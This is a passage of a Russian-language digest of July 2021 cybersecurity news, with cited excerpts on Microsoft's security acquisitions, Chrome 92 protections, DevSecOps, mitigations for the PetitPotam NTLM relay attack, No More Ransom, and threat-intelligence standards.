В этом месяце, хакеры начали массовые вымогатель атаку, которые эксплуатируются несколько неизвестных ранее уязвимостей в программном обеспечении управления ИТ, сделанное Kaseya Ltd. В марте злоумышленники, связанные с Китаем, используемыми изъянами в коде Microsoft Exchange, чтобы ворваться в десятки тысяч организаций, а также в результате взлома, обнаруженного в декабре, подозреваемые российские хакеры взломали популярное программное обеспечение техасской фирмы SolarWinds Corp., вставив вредоносный код в обновления для программного обеспечения SolarWinds». ***(Katie Roof, Dina Bass. Microsoft Agrees to Acquire Cybersecurity Company RiskIQ // Bloomberg (https://www.bloomberg.com/news/articles/2021-07-11/microsoft-is-said-to-be-buying-cybersecurity-company-riskiq?sref=rfAB4PXT). 12.07.2021).***

***

«Корпорація Microsoft повідомила, що купує CloudKnox – стартап, програмне забезпечення якого допомагає компаніям зменшити обсяг доступу, який вони надають до своїх хмарних ресурсів. Умови угоди не розголошуються, пише CNBC.

Програмне забезпечення CloudKnox працює із публічною хмарою Microsoft Azure, а також з хмарними сервісами Amazon і Google. Програмне забезпечення

виявляє і може видаляти елементи дозволів доступу співробітників і ідентифікаційних даних, які активно не використовуються, і може відображати повідомлення про незвичну активність.

Ця угода стала черговим кроком Microsoft по розширенню свого бізнесу за рахунок безпекових рішень. Лише минулого тижня корпорація оголосила про придбання ще однієї безпекової компанії, RiskIQ, яка може виявляти загрози в усьому світі інформаційних технологій.

У січні Microsoft повідомила, що за останні 12 місяців вона отримала понад $10 млрд доходу від цього напрямку що на 40% більше, ніж торік. Тобто цей сегмент росте швидше, ніж інші напрямки IT-гіганта…» ***(Microsoft купує ще один стартап, який спеціалізується на кібербезпеці // MediaSapiens (https://ms.detector.media/kiberbezpeka/post/27830/2021-07-22-microsoft-kupuie-shche-odyn-startap-yakyy-spetsializuietsya-na-kiberbezpetsi/). 22.07.2021).***

***

«Новая версия Google Chrome, выпущенная во вторник, блокирует фишинговые атаки в 50 раз быстрее и при этом расходует меньше энергии батареи. Это одна из нескольких новых возможностей безопасности, встроенных в Chrome 92 как часть его усилий по снижению рисков выхода в Интернет.

По словам Google, новая технология Chrome обнаруживает фишинговые веб-сайты - подделки, предназначенные для сбора ваших личных данных - с помощью нового подхода к изучению выбора цвета сайтов. Теперь анализ занимает в среднем десятую долю секунды вместо 1,8 секунды, что увеличивает вероятность того, что он будет завершен до того, как вы сможете передать свой пароль злоумышленникам.

Интернет - опасное место. Как показывает шпионское ПО Pegasus от NSO Group, можно использовать недостатки операционной системы для взлома мобильных телефонов, но веб-дизайн гораздо более открыт. Когда вы открываете веб-сайт, ваш веб-браузер запускает код, который не был одобрен ни одним обзором магазина приложений. Это требует дополнительной защиты, такой как песочница, которая ограничивает программные процессы их собственными отсеками памяти.

Технология защиты от фишинга также сокращает потребление батареи для основного процесса Chrome на 1,2% в целом. Это может показаться не большим числом, но люди проводят много времени в своих браузерах, и один процентный пункт может иметь большое значение со временем.

В Chrome 92 есть и другие улучшения безопасности.

В браузере появился новый способ проверить, предоставили ли вы веб-сайту разрешение на использование вашей камеры, микрофона или данных о местоположении, и изменить эти разрешения для людей, использующих Chrome на Android. При нажатии на значок замка в левой части адресной строки откроется панель, позволяющая просматривать и изменять разрешения. Позже эта функция появится в других версиях Chrome. В следующем выпуске вы также сможете удалить этот веб-сайт из истории просмотров.

Действия Chrome позволяют вводить команды в адрес Chrome, и есть новая функция: «проверка безопасности». Его ввод запустит процесс Chrome, чтобы проверить безопасность сохраненного пароля и сканировать на наличие вредоносных расширений браузера. (Другие действия Chrome включают «удалить историю», «изменить пароли», «стереть файлы cookie» и «перевести это».

А технология изоляции сайтов Google, которая разделяет вычислительные процессы на отдельные зоны, чтобы усложнить атаки кражи данных класса Spectre, теперь используется более широко. Во-первых, изоляция сайта теперь изолирует отдельные расширения, чтобы ограничить атаки, которые одно может установить на другое. Во-вторых, изоляция сайтов теперь работает на большем количестве веб-сайтов для Chrome на Android, особенно на тех, где вы входите в систему с помощью сторонних сервисов, таких как Facebook, Google и Apple». ***(Stephen Shankland. Chrome 92 blocks phishing attacks faster and gets 3 other security protections // CNET, A RED VENTURES COMPANY (https://www.cnet.com/tech/computing/chrome-92-blocks-phishing-attacks-faster-and-gets-3-other-security-protections/). 20.07.2021).***

***

«При разработке программного обеспечения и приложений о безопасности никогда не следует забывать. Однако по мере того, как технологические достижения продолжают набирать обороты, инструменты безопасности, на которые многие полагаются, меняются в реальном времени, и борьба с потенциальными нарушениями или взломом вашего оборудования до того, как они возникнут, теперь требует новых стратегий. Чтобы быть на шаг впереди злоумышленников, пора переосмыслить процесс разработки приложений с DevOps на DevSecOps.

DevOps - это эволюция жизненного цикла гибкой разработки программного обеспечения, которая устраняет разрыв между группами разработки и эксплуатации. Он устраняет разрозненность и увеличивает способность организации доставлять приложения и услуги быстрее, чем традиционные модели разработки программного обеспечения. Раньше традиционный «метод водопада» требовал длительных предварительных циклов и приводил к утомительным и утомительным процессам - и к тому времени, когда эти решения были признаны готовыми к выпуску, рынок, вероятно, изменился.

Сегодня у групп гибкого программного обеспечения есть циклы выпуска, которые составляют несколько дней или часов, что увеличивает риск совершения ошибок и появления уязвимостей. Итак, как организации могут создавать более безопасный код и приложения при работе с головокружительной скоростью и предотвращать потенциальные кибератаки, когда они еще не знают, как эти атаки выглядят? Чтобы повысить кибербезопасность своих продуктов, решений и партнеров, компания должна перейти от культуры DevOps к культуре DevSecOps.

Начни в безопасности, оставайся в безопасности

DevSecOps ставит безопасность во главу угла процесса разработки в целом, гарантируя, что хорошая кибергигиена остается приоритетом для разработчиков и операторов от начала до конца. Этот сдвиг в мышлении побуждает организации

находить наилучшие возможные подходы к разработке безопасного кода и приложений - и существует множество ресурсов и стратегий, которые помогут командам разработчиков сделать именно это.

Вот некоторые из самых важных:

Структуры безопасности: всегда лучше начинать с дорожной карты - и, обратившись к сторонним ресурсам за передовыми практиками, организации могут гарантировать, что их программное обеспечение подготовлено практически к любой ситуации. Например, Building Security In Maturity Model, также известная как BSIMM, представляет собой отличный ресурс, в котором перечислено более 120 лучших практик безопасности (таких как автоматизация тестирования безопасности с помощью статического и динамического анализа), чтобы помочь командам разработчиков учитывать эти меры при разработке своих решений.

Обучение коду безопасности: разработчики не знают того, чего не знают, поэтому организации должны обучить их критическим угрозам и передовым методам. Проводя постоянные тренинги по вопросам безопасности, организации могут быть уверены, что их команды адекватно подготовлены к обнаружению и исправлению любых уязвимостей в своем коде и продуктах.

Защитные шлюзы: в процессах сборки DevOps шлюзы безопасности могут блокировать выпуск, давая командам безопасности и инженерам достаточно времени, чтобы определить, какой уровень серьезности этих ошибок нарушит сборку в целом. Внедрение шлюзов безопасности поможет командам точно определить, что необходимо исправить перед выпуском.

Реализация многоуровневой стратегии безопасности: для обеспечения безопасности по всем направлениям организации должны сделать безопасность всеобщей обязанностью. Например, это можно было бы начать с предоставления разработчикам инструментов для обнаружения уязвимостей в процессе написания кода, а затем использовать внутреннюю команду для регулярного запуска статических и динамических инструментов безопасности приложений. Для дополнительной безопасности организации могут привлекать внешних тестировщиков для проведения тестирования методом черного и серого ящика; или они могут создать программу вознаграждения за ошибки и заплатить исследователям безопасности, чтобы те искали уязвимости, которые труднее найти.

Почему сторонние библиотеки - ваша ответственность

Сторонние библиотеки, такие как Apache Struts, Telerik UK (сторонняя библиотека.NET) и другие, считаются благословением и проклятием для организаций. С одной стороны, организации могут использовать работу, созданную другими, адаптировать ее и создавать на ее основе более богатый опыт, позволяя им использовать свой опыт, не создавая все с нуля. С другой стороны, постоянные обновления и обновления библиотек необходимы для поддержания чистой кодовой базы. Также легко импортировать вредоносный код из репозиториев кода.

Разработчикам потребуется обновить наборы инструментов, чтобы обеспечить исправление уязвимостей сторонних материалов регулярно и в режиме реального времени, потому что даже самые незначительные упущения со стороны вашей команды или ваших партнеров могут привести к наиболее серьезным нарушениям. Фактически, Агентство по кибербезопасности и безопасности

инфраструктуры (CISA) недавно опубликовало список наиболее часто используемых уязвимостей программного обеспечения, и Apache Struts была второй по популярности технологией в списке.

Злоумышленники также часто используют уязвимости в веб-сервисах с открытым исходным кодом, таких как Apache Tomcat, который включен в бесчисленное количество продуктов.

Продолжающаяся игра «Ударь крота»

Угрозы и стили атак, которых сегодня не существует, завтра будут пытаться использовать уязвимости в ваших системах. Однако, ставя безопасность во главу угла и внедряя культуру DevSecOps, организации получают больше возможностей для смягчения угроз по мере их появления - и до того, как они вызовут какие-либо проблемы или прерывания…» ***(Phil Richards. Apps Built Better: Why DevSecOps is Your Security Team's Silver Bullet // Threatpost (https://threatpost.com/apps-built-better-devsecops-security-silver-bullet/167793/). 14.07.2021).***

***

«Microsoft выпустила средства защиты от новой ретрансляционной атаки PetitPotam NTLM, которая позволяет захватить контроллер домена или другие серверы Windows.

PetitPotam - это новый метод, который можно использовать для проведения NTLM-ретрансляционной атаки, обнаруженный французским исследователем безопасности Жилем Лионелем (Topotam). Этот метод был раскрыт на этой неделе вместе со сценарием проверки концепции (PoC).

Новая атака использует удаленный протокол Microsoft Encrypting File System Remote Protocol (EFSRPC), чтобы заставить устройство, включая контроллеры домена, пройти аутентификацию на удаленном ретрансляторе NTLM, управляемом злоумышленником.

Как только устройство аутентифицируется на вредоносном сервере NTLM, злоумышленник может украсть хэш и сертификаты, которые могут использоваться для подтверждения личности устройства и его привилегий.

Смягчение ограничено контроллерами домена

После того, как вчера появилась новость об атаке PetitPotam NTLM relay, Microsoft опубликовала совет по безопасности с рекомендациями для организаций по защите от злоумышленников, использующих новую технику на контроллерах домена.

Компания заявляет, что организации, подверженные PetitPotam или другим ретрансляционным атакам, имеют NTLM-аутентификацию в домене и используют службы сертификатов Active Directory (AD CS) с веб-службой подачи заявок в центр сертификации или веб-службой регистрации сертификатов.

В сегодняшнем твите Microsoft рекомендует отключить NTLM там, где в этом нет необходимости, например на контроллерах домена, или включить механизм расширенной защиты для проверки подлинности для защиты учетных данных на компьютерах с Windows.

Компания также рекомендует в сетях с включенным NTLM, чтобы службы, позволяющие аутентификацию NTLM, использовали функции подписи, такие как подписывание SMB, которые были доступны с Windows 98.

«PetitPotam использует преимущества серверов, на которых службы сертификации Active Directory (AD CS) не настроены с защитой от атак NTLM Relay [как указано в KB5005413]» - Microsoft

Однако PetitPotam злоупотребляет функцией EfsRpcOpenFileRaw API MS-EFSRPC для передачи запросов аутентификации, оставляя дверь открытой для других атак.

В рекомендациях Microsoft четко описаны действия по предотвращению атак с ретрансляцией NTLM, но не рассматривается злоупотребление API MS-EFSRPC, для исправления которого потребуется обновление системы безопасности.

Жиль Лионель сказал BleepingComputer, что PetitPotam допускает другие атаки, такие как атака перехода на NTLMv1, использующая стандарт шифрования данных (DES) - небезопасный алгоритм из-за его короткого 56-битного ключа, который упрощает восстановление хэша пароля.

Один из примеров, как сказал Жиль Лайонел BleepingComputer, - это атака перехода на NTLMv1, использующая стандарт шифрования данных (DES) - небезопасный алгоритм из-за его короткой 56-битной генерации ключа, которая упрощает восстановление хэша пароля.

Затем злоумышленник может использовать учетную запись на машинах, где у него есть права локального администратора. Лайонел говорит, что серверы Exchange и Microsoft System Center Configuration Manager (SCCM) являются обычным сценарием.

Бенджамин Делпи выразил критику в отношении того, как Microsoft решила смягчить последствия PetitPotam, подчеркнув, что протокол EFSRPC даже не упоминается в уведомлении.

PetitPotam влияет на Windows Server 2008 до 2019 года. В сообщении Microsoft отмечается, что этот метод еще не использовался в реальных условиях, но не дает оценки уровня уязвимости». ***(Ionut Ilascu. Microsoft shares mitigations for new PetitPotam NTLM relay attack // Bleeping Computer® (https://www.bleepingcomputer.com/news/security/microsoft-shares-mitigations-for-new-petitpotam-ntlm-relay-attack/). 24.07.2021).***

***

«Проект No More Ransom отмечает сегодня свою пятую годовщину после того, как помог более шести миллионам жертв программ-вымогателей восстановить их файлы и сэкономил им почти 1 миллиард евро на выплатах программ-вымогателей.

No More Ransom - это онлайн-портал, запущенный в июле 2016 года и партнерство между государственным и частным секторами, созданное правоохранительными органами и лидерами отрасли (Европейский центр киберпреступности Европола, Национальное подразделение полиции Нидерландов по преступлениям в сфере высоких технологий, McAfee и Kaspersky).

Сегодня проект No More Ransom включает 170 партнеров по всему миру, в том числе BleepingComputer, которые присоединились к проекту в 2018 году.

«Расшифровщики, доступные в репозитории No More Ransom, помогли более шести миллионам человек бесплатно восстановить свои файлы», - заявили в Европоле.

«Это помешало злоумышленникам заработать почти миллиард евро на атаках программ-вымогателей. В настоящее время предлагается 121 бесплатный инструмент, способный расшифровать 151 семейство программ-вымогателей, и он объединяет 170 партнеров из государственного и частного секторов».

Как это работает?

Цель No More Ransom - помочь жертвам восстановить свои зашифрованные файлы, повысить осведомленность об угрозе программ-вымогателей и предоставить жертвам программ-вымогателей и широкой общественности прямые ссылки для сообщения об атаках.

Чтобы получить дешифратор, вы должны загрузить два зашифрованных файла и заметку о программе-вымогателе через Crypto Sheriff No More Ransom, который попытается сопоставить их со списком доступных инструментов дешифрования.

Если совпадение произойдет, вы получите ссылку на подходящий дешифратор вымогателя, который поставляется с подробными инструкциями о том, как разблокировать файлы.

Если дешифратор недоступен, вам будет рекомендовано еще раз проверить соответствие в будущем, поскольку новые инструменты разблокировки регулярно добавляются в базу данных.

Жертвам программ-вымогателей рекомендуется никогда не платить, так как это будет финансировать будущие атаки преступников, а вместо этого принять меры для предотвращения и уменьшения ущерба от таких атак:

Регулярно создавайте резервные копии данных, хранящихся на вашем компьютере. Храните хотя бы одну копию в автономном режиме.

Не переходите по ссылкам в неожиданных или подозрительных письмах.

Просматривайте и загружайте только официальные версии программного обеспечения и всегда с проверенных веб-сайтов.

Используйте надежные продукты безопасности для защиты вашей системы от всех угроз, включая программы-вымогатели.

Убедитесь, что ваше программное обеспечение безопасности и операционная система обновлены.

Будьте осторожны при просмотре веб-страниц и не нажимайте на подозрительные ссылки, всплывающие окна или диалоговые окна.

Не используйте учетные записи с высоким уровнем привилегий (учетные записи с правами администратора) для повседневной работы.

Если вы станете жертвой, не платите! Сообщите о преступлении и проверьте No More Ransom для инструментов дешифрования». ***(Sergiu Gatlan. No More Ransom saves almost €1 billion in ransomware payments in 5 years // Bleeping Computer® (https://www.bleepingcomputer.com/news/security/no-more-ransom-saves-almost-1-billion-in-ransomware-payments-in-5-years/). 26.07.2021).***

***

«Мегафон» предложил новое решение для бизнеса – обучающую платформу Security Awareness, которая помогает защитить корпоративные данные от мошенников, информируя сотрудников обо всех актуальных угрозах в сфере кибербезопасности и тренируя навыки при помощи имитированных фишинговых атак.

В 2020 г. количество кибератак в мире выросло в 1,5 раза по сравнению с 2019 г., 86% из них были направлены на организации, такие данные приводит Positive Technologies. С нарушениями информационной безопасности со стороны сотрудников столкнулось 88% российских компаний, говорится в исследовании SearchInform. В трети случаев такие инциденты привели к финансовому ущербу.

Решение «Мегафон Security Awareness» позволяет компаниям избежать возможных потерь, обучая сотрудников эффективному противодействию киберугрозам. Платформа содержит курсы о правилах безопасности, которые необходимо соблюдать, чтобы защитить информацию, об отличительных чертах фишинговых сайтов, психологических приемах и технологиях, которые используют мошенники, чтобы получать конфиденциальную информацию.

Платформа дает возможность инициировать в периметре компании искусственные фишинговые атаки, чтобы проанализировать готовность к внешним угрозам, защищенность информации, оценить возможный ущерб бизнесу при реальной кибератаке и принять решение о необходимости дополнительных действий. В случае необходимости специалисты «Мегафона» могут разработать дополнительные узкоспециализированные курсы с учетом особенностей той или иной компании.

«В первом полугодии спрос на решения в области кибербезопасности со стороны бизнеса вырос на 50%. Компании активно защищают свою инфраструктуру, но для успешного противостояния кибермошенникам необходимо правильно выстроить взаимодействие с сотрудниками – повышать их информированность об угрозах, отрабатывать опасные ситуации. Платформа Security Awareness поможет сформировать необходимые навыки и укрепит защиту компании», – сказала директор по развитию корпоративного бизнеса «Мегафона» Наталья Талдыкина.

Платформу «Мегафон Security Awareness» можно брендировать под заказчика и установить на собственный сервер компании. Она также может быть доступна из облака, в этом случае сотрудники смогут проходить обучение даже со смартфонов.

Платформу можно использовать в качестве универсального образовательного инструмента – она позволяет создавать собственные обучающие курсы, загружать аудио и визуальный контент, тестовые материалы и проводить обучение сотрудников по другим важным для компании направлениям». ***(«Мегафон» запустил обучающую платформу для защиты от киберугроз // CNews (https://safe.cnews.ru/news/line/2021-07-23_megafon_zapustil_obuchayushchuyu). 23.07.2021).***

***

«Организация OASIS и члены Технического комитета по анализу киберугроз (CTI) одобрили версии стандартов Structured Threat Information Expression (STIX) v2.1 и Trusted Automated Exchange of Intelligence Information (TAXII) v2.1 в качестве официальных стандартов OASIS

Стандарты STIX и TAXII позволяют анализировать данные о киберугрозах и обмениваться ими с доверенными партнерами и сообществами, поэтому они широко используются для предотвращения и защиты от кибератак.

Стандарт STIX определяет язык обмена структурированными данными в последовательном, удобном для прочтения машинами виде, тем самым позволяя компаниям быстрее и эффективнее прогнозировать и реагировать на угрозы. Версия STIX v2.1 получила новые объекты и концепции, а также улучшения, базирующиеся на опыте использования предыдущей версии v2.0. Новые объекты и функции представляют собой итеративный подход к выполнению основных требований пользователя и производителя к обмену данными об угрозах.

TAXII представляет собой транспортный протокол, специально созданный для обеспечения обмена данными STIX по протоколу Hypertext Transfer Protocol Secure (HTPS). TAXII позволяет организациям обмениваться данными об угрозах путем определения API, который соответствует общим моделям обмена.

OASIS (Organization for the Advancement of Structured Information Standards) – глобальный консорциум, управляющий разработкой, конвергенцией и принятием промышленных стандартов электронной коммерции в рамках международного информационного сообщества». ***(Новые версии стандартов STIX и TAXII обеспечивают автоматический обмен данными о киберугрозах // SecurityLab.ru (https://www.securitylab.ru/news/522335.php). 15.07.2021).***

***

«Программа поиска уязвимостей Mail.ru Group работает с 2014 года. В рамках программы исследователи ищут в системе недостатки и устраняют до того, как злоумышленники их найдут.

С момента запуска программы компания приняла около 5000 отчетов от 3400 специалистов. Размер вознаграждения за уязвимость зависит от ее критичности. Выплаты могут варьироваться от $150 до $40 тысяч.

Выплаты происходят каждую неделю». ***(Mail.ru Group выплатила исследователю безопасности $40 тыс. // SecureNews (https://securenews.ru/mail-ru-the-group-paid-40-thousand-to-security-researchers/). 09.07.2021).***

***